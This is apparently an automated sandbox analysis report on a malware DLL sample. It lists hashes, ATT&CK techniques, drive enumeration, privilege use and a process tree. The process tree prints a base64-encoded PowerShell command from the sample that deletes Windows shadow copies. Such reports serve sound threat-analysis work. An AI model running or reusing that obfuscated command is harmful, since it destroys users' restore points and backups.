13f476ec8dba856b93c2b799dbf9994191d14e9dbc2c6d75c9ec3d8054144b3f

Analysis

max time kernel
178s
max time network
208s
platform
windows10-2004_x64
resource
win10v2004-20220414-en
submitted
03-06-2022 02:44

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General

Target

36c3-malwarexchg-part3/6cb6fda0b353d411a30c5b945e53ea52.dll
Size

164KB
MD5

6cb6fda0b353d411a30c5b945e53ea52
SHA1

3ec48a25d70153e7bc09d39a93e5f725861da655
SHA256

bace25c1ec587d099b4c566b1a07978dd9cb3bd67c2acaa55d2e4644a7877070
SHA512

1b53d536ef48d5c0a0a6a0136a3d12f155d11b7a5a6f8be9c034bf78a2ccefc7a4d0e8e24e0936e64889e1039bf167a563d37f8ddb742080b5037c65f251811c

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4220	rundll32.exe
4220	rundll32.exe
4812	powershell.exe
4812	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4812	powershell.exe
Token: SeBackupPrivilege	1716	vssvc.exe
Token: SeRestorePrivilege	1716	vssvc.exe
Token: SeAuditPrivilege	1716	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 2220 wrote to memory of 4220	2220	rundll32.exe	77
PID 2220 wrote to memory of 4220	2220	rundll32.exe	77
PID 2220 wrote to memory of 4220	2220	rundll32.exe	77
PID 4220 wrote to memory of 4812	4220	rundll32.exe	78
PID 4220 wrote to memory of 4812	4220	rundll32.exe	78

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\36c3-malwarexchg-part3\6cb6fda0b353d411a30c5b945e53ea52.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:2220
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\36c3-malwarexchg-part3\6cb6fda0b353d411a30c5b945e53ea52.dll,#1
  2⤵
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4812

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3192

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1716

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/4812-132-0x0000022113290000-0x00000221132B2000-memory.dmp

Filesize
136KB

Download
memory/4812-133-0x00007FFBA48B0000-0x00007FFBA5371000-memory.dmp

Filesize
10.8MB

Download
memory/4812-134-0x00007FFBA48B0000-0x00007FFBA5371000-memory.dmp

Filesize
10.8MB

Download